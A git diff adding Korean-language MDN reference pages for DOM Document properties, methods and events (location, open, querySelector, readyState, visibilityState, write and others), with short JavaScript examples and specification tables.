diff --git a/files/ko/web/api/document/location/index.html b/files/ko/web/api/document/location/index.html new file mode 100644 index 0000000000..96c514e4b9 --- /dev/null +++ b/files/ko/web/api/document/location/index.html @@ -0,0 +1,69 @@ +--- +title: Document.location +slug: Web/API/Document/location +tags: + - API + - Document + - HTML DOM + - Property + - Read-only + - Reference +translation_of: Web/API/Document/location +--- +

{{APIRef("DOM")}}

+ +

The Document.location read-only property returns a {{domxref("Location")}} object, which contains information about the URL of the document and provides methods for changing that URL and loading another URL.

+ +

Though Document.location is a read-only Location object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with document.location as if it were a string in most cases: document.location = 'http://www.example.com' is a synonym of document.location.href = 'http://www.example.com'.

+ +

To retrieve just the URL as a string, the read-only {{domxref("document.URL")}} property can also be used.

+ +

If the current document is not in a browsing context, the returned value is null.

+ +

Syntax

+ +
locationObj = document.location
+document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
+
+ +

Example

+ +
dump(document.location);
+// Prints a string like
+// "http://www.example.com/juicybits.html" to the console
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.location")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/open/index.html b/files/ko/web/api/document/open/index.html new file mode 100644 index 0000000000..e7e376fbb2 --- /dev/null +++ b/files/ko/web/api/document/open/index.html @@ -0,0 +1,106 @@ +--- +title: Document.open() +slug: Web/API/Document/open +translation_of: Web/API/Document/open +--- +
{{APIRef("DOM")}}
+ +

Document.open() 메소드는 문서를  {{domxref("Document.write", "쓰기", "", "1")}} 위해 문서를 열 수 있도록 제공한다.

+ +

이 메소드 호출 시 몇 가지 부작용이 발생한다. 예를 들면,

+ + + +

문법

+ +
document.open();
+
+ +

인자

+ +

없음.

+ +

Return value반환값

+ +

Document 객체 인스턴스.

+ +

예시

+ +

이 간단한 코드는 문서를 열면서, 원하는 내용을 작성하여 기존 HTML 문서 구조를 대체하고, 문서를 닫는 예제이다. 

+ +
document.open();
+document.write("<p>Hello world!</p>");
+document.write("<p>I am a fish</p>");
+document.write("<p>The number is 42</p>");
+document.close();
+
+ +

Notes

+ +

document.open() 메소드는 페이지를 불러온 후 {{domxref("document.write()")}} 메소드 호출 시 자동으로 호출된다.

+ +

Firefox 및 Internet Explorer 에서는 기존까지 모든 요소 뿐 만 아니라 자바스크립트 변수까지 제거했었다. 하지만 현재 그런 경우는 없다.document non-spec'ed parameters to document.open

+ +

Gecko 특정 참고사항

+ +

Starting with Gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.

+ +

Starting with Gecko 1.9.2, document.open() uses the principal of the document whose URI it uses, instead of fetching the principal off the stack. As a result, you can no longer call {{domxref("document.write()")}} into an untrusted document from chrome, even using wrappedJSObject. See Security check basics for more about principals.

+ +

document.open()의 인자 3개

+ +

잘 사용하지 않지만, document.open() 메소드는 3 개의 인자를 받을 수 있으며, 호출할 경우 {{domxref("Window.open()")}} 메소드와 동일하게 동작한다(Window.open() 메소드 참고).

+ +

다음 예제는 Github 웹 사이트를 새 창으로 열게 되며, opener 개체를 null로 설정한다.

+ +
document.open('https://www.github.com','', 'noopener=true')
+ +

document.open()의 인자 2개

+ +

브라우저에서는 2개의 인자를 가진 document.open() 또한 가지고 있으며, 아래와 같은 구조를 가진다.

+ +
document.open(type, replace)
+ +

Where type 인자는 문서를 작성할 MIME 형식을 정의하며(예: text/html), 현재 히스토리를 대체(예: "replace") 하는 새 문서 작성을 시작할 수 있다.

+ +

하지만 이런 호출은 더 이상 사용할 수 없으며, 예외 또한 발생하지 않는다.대신 인자가 없는 document.open() 메소드가 호출되는 효과를 지니며, 대신 브라우저 히스토리 대체는 그대로 작동한다.

+ +

규격

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}{{Spec2("DOM2 HTML")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.open")}}

+ +

같이보기

+ + diff --git a/files/ko/web/api/document/queryselector/index.html b/files/ko/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..cf3ead8baa --- /dev/null +++ b/files/ko/web/api/document/queryselector/index.html @@ -0,0 +1,130 @@ +--- +title: Document.querySelector() +slug: Web/API/Document/querySelector +tags: + - API + - CSS Selectors + - DOM + - DOM Elements + - Document + - Method + - Reference + - Selectors + - Web +translation_of: Web/API/Document/querySelector +--- +
{{ApiRef("DOM")}}
+ +

Document.querySelector()는 제공한 선택자 또는 선택자 뭉치와 일치하는 문서 내 첫 번째 {{domxref("Element")}}를 반환합니다. 일치하는 요소가 없으면 null을 반환합니다.

+ +
+

참고: 탐색은 깊이우선depth-first 전위pre-order순회로, 문서의 첫 번째 요소부터 시작해 자식 노드의 수를 기준으로 순회합니다.

+
+ +

구문

+ +
document.querySelector(selectors);
+
+ +

매개변수

+ +
+
selectors
+
하나 이상의 선택자를 포함한 {{domxref("DOMString")}}. 유효한 CSS 선택자여야만 하며 아닐 경우 SYNTAX_ERR 예외가 발생합니다. 선택자로 DOM 요소 선택하기 문서를 참고해 선택자와 선택자 작성 방법을 더 알아보세요.
+
+ +
+

참고: CSS 표준 구문이 포함하는 문자가 아닌 경우 역슬래시로 이스케이프해야 합니다. JavaScript 또한 역슬래시로 이스케이프를 하기 때문에 특히 주의를 기울여야 합니다. 자세한 내용은 {{anch("특수 문자 이스케이프")}} 항목을 참고하세요.

+
+ +

반환값

+ +

제공한 CSS 선택자를 만족하는 첫 번째 {{domxref("Element")}} 객체. 결과가 없다면 null.

+ +

선택자를 만족하는 모든 요소의 목록이 필요하다면 {{domxref("Document.querySelectorAll", "querySelectorAll()")}}을 대신 사용하세요.

+ +

예외

+ +
+
SYNTAX_ERR
+
selectors의 구문이 유효하지 않음.
+
+ +

참고

+ +

만약 selector가 ID 선택자인데, 해당 ID를 잘못 사용하여 문서 내에 여러 번 사용했으면 첫 번째로 그 ID를 사용한 요소를 반환합니다.

+ +

CSS 의사 요소는 선택자 API가 명시한 대로 어떠한 요소도 반환하지 않습니다.

+ +

특수 문자 이스케이프

+ +

CSS 구문을 따르지 않는, 예컨대 콜론이나 공백을 포함한 선택자나 ID를 사용해야 하면 반드시  백슬래시("\")를 사용해 해당 문자를 이스케이프해야 합니다. 백슬래시는 JavaScript의 이스케이프 문자이기 때문에, 백슬래시를 문자로 입력하려면 반드시 두 번 이스케이프해야 합니다. 한 번은 JavaScript 문자열에 필요하고, 또 다른 한 번은 querySelector()에 필요합니다.

+ +
<div id="foo\bar"></div>
+<div id="foo:bar"></div>
+
+<script>
+  console.log('#foo\bar')             // "#fooar" ('\b'는 백스페이스 컨트롤 문자)
+  document.querySelector('#foo\bar')  // 일치하는 요소 없음
+
+  console.log('#foo\\bar')            // "#foo\bar"
+  console.log('#foo\\\\bar')          // "#foo\\bar"
+  document.querySelector('#foo\\bar') // 첫 번째 <div>
+
+  document.querySelector('#foo:bar')   // 일치하는 요소 없음
+  document.querySelector('#foo\\:bar') // 두 번째 <div>
+</script>
+
+ +

예제

+ +

클래스를 만족하는 첫 번째 요소 검색

+ +

아래 예제는 문서에서 "myclass"라는 클래스를 사용하는 첫 번째 요소를 반환합니다.

+ +
var el = document.querySelector(".myclass");
+
+ +

좀 더 복잡한 선택자

+ +

아래 예제처럼 정말 강력한 선택자도 사용할 수 있습니다. 예제의 결과는 클래스가 "user-panel main"인 {{HTMLElement("div")}}(<div class="user-panel main">) 안의, 이름이 "login"인 {{HTMLElement("input")}} 중 첫 번째 요소입니다.

+ +
var el = document.querySelector("div.user-panel.main input[name=login]");
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 2")}} 
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Initial definition
+ +

브라우저 호환성

+ + + +
{{Compat("api.Document.querySelector")}}
+ +

더 보기

+ + diff --git a/files/ko/web/api/document/queryselectorall/index.html b/files/ko/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..2beb50a1cf --- /dev/null +++ b/files/ko/web/api/document/queryselectorall/index.html @@ -0,0 +1,180 @@ +--- +title: Document.querySelectorAll() +slug: Web/API/Document/querySelectorAll +tags: + - API + - CSS 셀렉터 + - DOM + - querySelectorAll + - 다큐먼트 + - 레퍼런스 + - 메소드 + - 셀렉터 + - 엘리먼트 셀렉팅 + - 엘리먼트 찾기 + - 엘리먼트 탐색 +translation_of: Web/API/Document/querySelectorAll +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 메소드 querySelectorAll() 는 지정된 셀렉터 그룹에 일치하는 다큐먼트의 엘리먼트 리스트를 나타내는 정적(살아 있지 않은) {{domxref("NodeList")}} 를 반환합니다.

+ +
+

노트: 이 메소드는 {{domxref("ParentNode")}} 믹스인의 {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} 메소드를 기반으로 구현되었습니다.

+
+ +

구문

+ +
elementList = parentNode.querySelectorAll(selectors);
+
+ +

파라미터

+ +
+
selectors
+
매칭할 하나 이상의 셀렉터를 포함하는 {{domxref("DOMString")}}. 이 스트링은 반드시 유효한 CSS 셀렉터여야 합니다; 그렇지 않을 경우, SyntaxError 예외가 발생합니다. 엘리먼트 식별을 위한 셀렉터 사용의 자세한 내용은 셀렉터로 DOM 엘리먼트 찾기 문서를 확인하세요. 콤마를 사용해 분리하여 다중 셀렉터를 지정할수도 있습니다.
+
+ +
+

노트: 표준 CSS 구문이 아닌 문자들은 역슬래시를 사용해 이스케이프해야 합니다. 자바스크립트가 역슬래시 이스케이핑을 사용한 이후로,  그러한 문자들을 사용하는 문자열 리터럴을 작성할 때 특별히 신경써야 합니다.  자세한 내용은 이스케이프 표현을 확인하세요.

+
+ +

반환 값

+ +

지정한 셀렉터와 하나라도 일치하는 각 엘리먼트에 대한 하나의 {{domxref("Element")}} 를 포함하는 살아 있지 않은 {{domxref("NodeList")}}. 일치하는 것이 없는 경우에는 비어 있는 {{domxref("NodeList")}}.

+ +
+

노트: 지정한 selectors 가 CSS 가상 엘리먼트를 포함하면, 반환 리스트는 항상 비어있습니다.

+
+ +

예외

+ +
+
SyntaxError
+
지정한 selectors 문자열의 구문이 유효하지 않습니다.
+
+ +

예시

+ +

일치하는 리스트 얻기

+ +

다큐먼트에서 모든 {{HTMLElement("p")}} 엘리먼트의 {{domxref("NodeList")}} 를 얻으려면:

+ +
var matches = document.querySelectorAll("p");
+ +

이 예시는 다큐먼트 내의 클래스가 "note" 또는 "alert" 인 모든 {{HTMLElement("div")}} 엘리먼트의 목록을 반환합니다.

+ +
var matches = document.querySelectorAll("div.note, div.alert");
+
+ +

여기에서는, ID 가 "test" 인 컨테이너안에 위치하고 부모 엘리먼트가 {{domxref("div")}} 엘리먼트이며 클래스가 "highlighted" 인 <p> 엘리먼트의 리스트를 얻습니다.

+ +
var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted > p");
+ +

이 예시는 속성 셀렉터를 사용해 다큐먼트에서 "data-src" 속성을 포함하는 {{domxref("iframe")}} 엘리먼트의 리스트를 반환합니다:

+ +
var matches = document.querySelectorAll("iframe[data-src]");
+ +

여기에서는, ID 가 "userlist" 인 리스트 내에서 "data-active" 속성 값이 "1" 인 리스트 항목의 목록을 반환하는데 속성 셀렉터가 사용되었습니다:

+ +
var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");
+ +

일치 항목에 접근하기

+ +

일치하는 항목의 {{domxref("NodeList")}} 가 반환되면, 배열처럼 확인하실 수 있습니다. 배열이 비어있다면(length 프로퍼티가 0), 일치한 것을 발견하지 못한 것입니다.

+ +

다른 방법으로, 리스트의 컨텐츠에 접근하기위한 표준 배열 노테이션을 사용하실수도 있습니다. 다음과 같이 일반적인 모든 반복문을 사용하실 수 있습니다:

+ +
var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});
+ +

사용자 노트

+ +

querySelectorAll() 은 대부분의 일반적인 자바스크립트 DOM 라이브러리와 다르게 동작하여 예상치못한 결과를 가져올 수 있습니다.

+ +

HTML

+ +

세 번 중첩된 {{HTMLElement("div")}} 블록을 갖는 다음 HTML 을 고려해봅시다.

+ +
<div class="outer">
+  <div class="select">
+    <div class="inner">
+    </div>
+  </div>
+</div>
+ +

자바스크립트

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1 입니다. 0 이 아닙니다!
+
+ +

클래스 "select" 를 갖는 <div> 컨텍스트에서 ".outer .inner" 를 셀렉팅할 때, .outer 가 탐색을 수행하는 기본 엘리먼트(".select")의 자손이 아님에도 클래스 ".inner" 가 탐색됩니다. 기본적으로 querySelectorAll() 은 탐색 범위 내에서 셀렉터의 마지막 엘리먼트만을 검증합니다.

+ +

{{cssxref(":scope")}} 가상 클래스는 예상된 동작을하도록 하지만, 베이스 엘리먼트의 자손에 일치하는 셀렉터로만 제한됩니다:

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM WHATWG")}}표준
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("Selectors API Level 2")}}변동 없음
{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM4")}}초기 정의
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}기존 정의
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Document.querySelectorAll")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/document/readystate/index.html b/files/ko/web/api/document/readystate/index.html new file mode 100644 index 0000000000..08384c6174 --- /dev/null +++ b/files/ko/web/api/document/readystate/index.html @@ -0,0 +1,125 @@ +--- +title: Document.readyState +slug: Web/API/Document/readyState +translation_of: Web/API/Document/readyState +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}
+ +

Document.readyState 속성을 통해  {{domxref("document")}}의 로딩 상태를 확인할 수 있다.

+ +

Document.readyState 속성 값이 바뀔 때 {{event("readystatechange")}} 이벤트가 {{domxref("document")}}에서 일어난다.

+ +

Syntax

+ +
var string = document.readyState;
+
+ +

Values

+ +

document의 readyState 상태는 아래 3가지가 될 수 있다.

+ +
+
loading
+
 {{domxref("document")}} 로딩 중.
+
interactive
+
문서의 로딩은 끝이 나고 해석 중 이지만  images, stylesheets, frames과 같은 하위 자원들은 로딩되고 있는 상태이다.
+
complete
+
문서와 모든 하위 자원들의 로드가 완료된 상태이다. 이 상태는 {{event("load")}}  이벤트가 발생되기 직전 상태이다.
+
+ +

Examples

+ +

Different states of readiness

+ +
switch (document.readyState) {
+  case "loading":
+    // The document is still loading.
+    break;
+  case "interactive":
+    // The document has finished loading. We can now access the DOM elements.
+    // But sub-resources such as images, stylesheets and frames are still loading.
+    var span = document.createElement("span");
+    span.textContent = "A <span> element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // The page is fully loaded.
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}
+
+ +

readystatechange as an alternative to DOMContentLoaded event

+ +
// Alternative to DOMContentLoaded event
+document.onreadystatechange = function () {
+  if (document.readyState === 'interactive') {
+    initApplication();
+  }
+}
+
+ +

readystatechange as an alternative to load event

+ +
// Alternative to load event
+document.onreadystatechange = function () {
+  if (document.readyState === 'complete') {
+    initApplication();
+  }
+}
+ +

readystatechange as event listener to insert or modify the DOM before DOMContentLoaded

+ +
document.addEventListener('readystatechange', event => {
+  if (event.target.readyState === 'interactive') {
+    initLoader();
+  }
+  else if (event.target.readyState === 'complete') {
+    initApp();
+  }
+});
+
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML WHATWG')}}
{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5.1')}}
{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5 W3C')}}Initial specification.
+ +

Browser compatibility

+ + + +
{{Compat("api.Document.readyState")}}
+ +

See also

+ + diff --git a/files/ko/web/api/document/readystatechange_event/index.html b/files/ko/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..3286bb4727 --- /dev/null +++ b/files/ko/web/api/document/readystatechange_event/index.html @@ -0,0 +1,139 @@ +--- +title: 'Document: readystatechange event' +slug: Web/API/Document/readystatechange_event +translation_of: Web/API/Document/readystatechange_event +--- +
{{APIRef}}
+ +

readystatechange 이벤트는 현재 페이지의 {{domxref("Document.readyState", "readyState")}}  속성값이 변할 때 발생한다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("Event")}}
Event handler propertyonreadystatechange
+ +

Examples

+ +

Live example

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.readystatechange_event")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/referrer/index.html b/files/ko/web/api/document/referrer/index.html new file mode 100644 index 0000000000..547eaf2993 --- /dev/null +++ b/files/ko/web/api/document/referrer/index.html @@ -0,0 +1,23 @@ +--- +title: Document.referrer +slug: Web/API/Document/referrer +translation_of: Web/API/Document/referrer +--- +
{{APIRef("DOM")}}
+ +
링크를 통해 현재 페이지로 이동 시킨, 전 페이지의 URI 정보를 반환.
+ +

Syntax

+ +
string = document.referrer;
+
+ +

Notes

+ +

페이지로 바로 접근하였을 경우 이 값은 빈 문자열을 반환함.(링크를 통해서 온것이 아닌, 예를 들면, 북마크를 통해서 이동했을 경우). 문자열만을 반환하기 때문에,  참조 페이지(referring page)에 대한 DOM  액세스가 제공되지 않음. 

+ +

Specification

+ + diff --git a/files/ko/web/api/document/scroll_event/index.html b/files/ko/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..6552fbf6f2 --- /dev/null +++ b/files/ko/web/api/document/scroll_event/index.html @@ -0,0 +1,141 @@ +--- +title: scroll +slug: Web/API/Document/scroll_event +tags: + - DOM + - Event + - Event Handler + - Reference + - 레퍼런스 + - 이벤트 + - 이벤트핸들링 +translation_of: Web/API/Document/scroll_event +--- +

document view 나 element가 스크롤 될 때, scroll  이벤트가 발생합니다.

+ +

개요

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
인터페이스{{domxref("UIEvent")}}
버블element에는 없지만, document에서 실행될 때 버블링이 발생합니다.
취소가능여부불가
타겟DefaultView, {{domxref("Document")}}, {{domxref("Element")}}
기본 액션없음
+ +

속성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
속성타입설명
target {{readonlyInline}}{{domxref("EventTarget")}}이벤트 대상 (DOM 트리의 최상위 타겟)
type {{readonlyInline}}{{domxref("DOMString")}}이벤트의 타입
bubbles {{readonlyInline}}{{domxref("Boolean")}}이벤트가 버블이 되는지
cancelable {{readonlyInline}}{{domxref("Boolean")}}이벤트 취소가 가능한지
view {{readonlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (document의 window)
detail {{readonlyInline}}long (float)0.
+ +

예제

+ +

스크롤 이벤트의 조절

+ +

scroll 이벤트가 빠른 속도로 실행될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같이 느린 작업을 실행하지 말아야 합니다. 대신, 다음을 사용하여 이벤트를 제한하는 것을 권장합니다.
+ {{domxref("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{domxref("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}}, 혹은, {{domxref("CustomEvent")}}

+ +

그러나 입력 이벤트와 애니메이션 프레임은 거의 동일한 속도로 실행되므로 아래 최적화는 종종 불필요합니다. 다음은 requestAnimationFrame에 대한 scroll이벤트를 최적화하는 예제입니다.

+ +
// 참조: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+  // scroll 위치에 대한 작업을 하세요
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+
+    ticking = true;
+  }
+});
+ +

추가 예제

+ +

더 보려면, {{Event("resize")}} 이벤트 페이지에 비슷한 예제가 있습니다.

+ +

사양

+ + + +

브라우저 호환성

+ +

iOS UIWebView

+ +

iOS UIWebViews에서, 스크롤 중에는 scroll 발생하지 않습니다. 스크롤이 끝났을 때, 발생됩니다. Bootstrap issue #16202를 참고하세요. 사파리와 WKWebViews에서는 이 문제가 발생하지 않습니다.

+ +

같이보기

+ + diff --git a/files/ko/web/api/document/stylesheetsets/index.html b/files/ko/web/api/document/stylesheetsets/index.html new file mode 100644 index 0000000000..b69b728e89 --- /dev/null +++ b/files/ko/web/api/document/stylesheetsets/index.html @@ -0,0 +1,59 @@ +--- +title: Document.styleSheetSets +slug: Web/API/Document/styleSheetSets +tags: + - API + - CSSOM + - DOM + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/styleSheetSets +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}
+ +

styleSheetSets의 읽기 전용 속성은 현재 사용 가능한 모든 스타일 시트 세트의 live 리스트를 반환합니다.

+ +

문법

+ +
var sets = document.styleSheetSets;
+
+ +

 반환시, sets는 사용할 수 있는 스타일 시트 세트의 리스트.

+ +

예시

+ +

ID가 "sheetList"인 {{HTMLElement("ul")}} (list) 요소가 주어지면, 사용 가능한 모든 스타일 시트 세트의 이름으로 아래와 같은 코드로 채울 수 있습니다.

+ +
let list = document.getElementById('sheetList');
+let sheets = document.styleSheetSets;
+
+list.innerHTML = '';
+
+for (let i = 0; i < sheets.length; i++) {
+  let item = document.createElement('li');
+
+  item.innerHTML = sheets[i];
+  list.appendChild(item);
+}
+ +

Notes

+ +

사용 가능한 스타일 시트 세트 리스트는 문서에 사용 가능한 모든 스타일 시트를 열거하여 구성되고, {{domxref("document.styleSheets")}} 속성에 나열된 순서대로, 리스트에 제목을 가진 각각의 스타일 시트 title을 추가합니다. 중복 항목이 리스트에서 삭제됨. (대소문자 구분 비교 사용).

+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.styleSheetSets")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/document/url/index.html b/files/ko/web/api/document/url/index.html new file mode 100644 index 0000000000..527d754ddf --- /dev/null +++ b/files/ko/web/api/document/url/index.html @@ -0,0 +1,69 @@ +--- +title: Document.URL +slug: Web/API/Document/URL +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/URL +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 인터페이스의 URL 읽기 전용 속성은 문서의 주소를 문자열로 반환합니다.

+ +

예제

+ +

JavaScript

+ +
document.getElementById("url").textContent = document.URL;
+ +

HTML

+ +
<p id="urlText">
+  URL:<br/>
+  <span id="url">URL이 여기 보입니다</span>
+</p>
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", 100)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}{{Spec2("DOM WHATWG")}}Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.
{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}{{Spec2("DOM1")}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Document.URL")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/visibilitychange_event/index.html b/files/ko/web/api/document/visibilitychange_event/index.html new file mode 100644 index 0000000000..d15b1d3d38 --- /dev/null +++ b/files/ko/web/api/document/visibilitychange_event/index.html @@ -0,0 +1,72 @@ +--- +title: visibilitychange +slug: Web/API/Document/visibilitychange_event +tags: + - API + - Event + - Reference + - Web +translation_of: Web/API/Document/visibilitychange_event +--- +
{{APIRef}}
+ +

visibilitychange 이벤트는 브라우저 탭의 컨텐츠가 visible 또는 hidden 상태로 변화할 때 발생된다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("event")}}
Event handler property{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}
+ +

예제

+ +
document.addEventListener("visibilitychange", function() {
+  console.log( document.visibilityState );
+});
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}{{Spec2('Page Visibility API')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Document.visibilitychange")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/visibilitystate/index.html b/files/ko/web/api/document/visibilitystate/index.html new file mode 100644 index 0000000000..5bbe2eb242 --- /dev/null +++ b/files/ko/web/api/document/visibilitystate/index.html @@ -0,0 +1,56 @@ +--- +title: Document.visibilityState +slug: Web/API/Document/visibilityState +tags: + - DOM + - Document + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/visibilityState +--- +

{{ ApiRef("DOM") }}

+ +

Document.visibilityState 읽기 전용 property로, 이 element가 현재 표시된 컨텍스트를 나타내는 {{domxref('document')}}의 가시성을 반환합니다. document가 background 또는 보이지 않는 탭(다른 탭)에 있는지, 또는 pre-rendering을 위해 로드 된 것인지를 아는 것은 유용합니다. 가능한 값은 다음과 같습니다.

+ + + +

이 property의 값이 변경되면 {{event ( 'visibilitychange')}} 이벤트가 {{domxref ( "Document")}}로 전송됩니다.

+ +

일반적으로 document pre-rendering 시에 일부 assets의 다운로드를 막을 수 있습니다(역:초기 로딩 속도 향상). document가 백그라운드에 있거나 최소화 된 상태에서 일부 작업을 중지 할 수 있습니다(역:대표적으로 interval). 브라우저를 참고하십시오.

+ +

예제

+ +
document.addEventListener("visibilitychange", function() {
+  console.log(document.hidden);
+  // 숨김 여부가 변했을 때의 행동
+});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#dom-document-visibilitystate', 'Document.visibilityState')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.visibilityState")}}

diff --git a/files/ko/web/api/document/write/index.html b/files/ko/web/api/document/write/index.html new file mode 100644 index 0000000000..5320bb2861 --- /dev/null +++ b/files/ko/web/api/document/write/index.html @@ -0,0 +1,102 @@ +--- +title: Document.write() +slug: Web/API/Document/write +translation_of: Web/API/Document/write +--- +
{{ ApiRef("DOM") }}
+ +

{{domxref("document.open()")}}에 의해 열린 문서 스팀에 텍스트 스트링을 적는다.

+ +
주: as document.write writes to the document stream, calling document.write on a closed (loaded) document automatically calls document.open, which will clear the document.
+ +

구문

+ +
document.write(markup);
+
+ +

매개변수

+ +
+
markup
+
document 문성에 씌여질 텍스트를 포함하고 있는 스트링.
+
+ +

예

+ +
<html>
+
+<head>
+  <title>write example</title>
+
+  <script>
+    function newContent() {
+      alert("load new content");
+      document.open();
+      document.write("<h1>Out with the old - in with the new!</h1>");
+      document.close();
+    }
+  </script>
+</head>
+
+<body onload="newContent();">
+  <p>Some original document content.</p>
+</body>
+
+</html>
+
+ +

주

+ +

Writing to a document that has already loaded without calling {{domxref("document.open()")}} will automatically call document.open. Once you have finished writing, it is recommended to call {{domxref("document.close()")}} to tell the browser to finish loading the page. The text you write is parsed into the document's structure model. In the example above, the h1 element becomes a node in the document.

+ +

If the document.write() call is embedded within an inlined HTML <script> tag, then it will not call document.open(). For example:

+ +
<script>
+  document.write("<h1>Main title</h1>")
+</script>
+
+ +
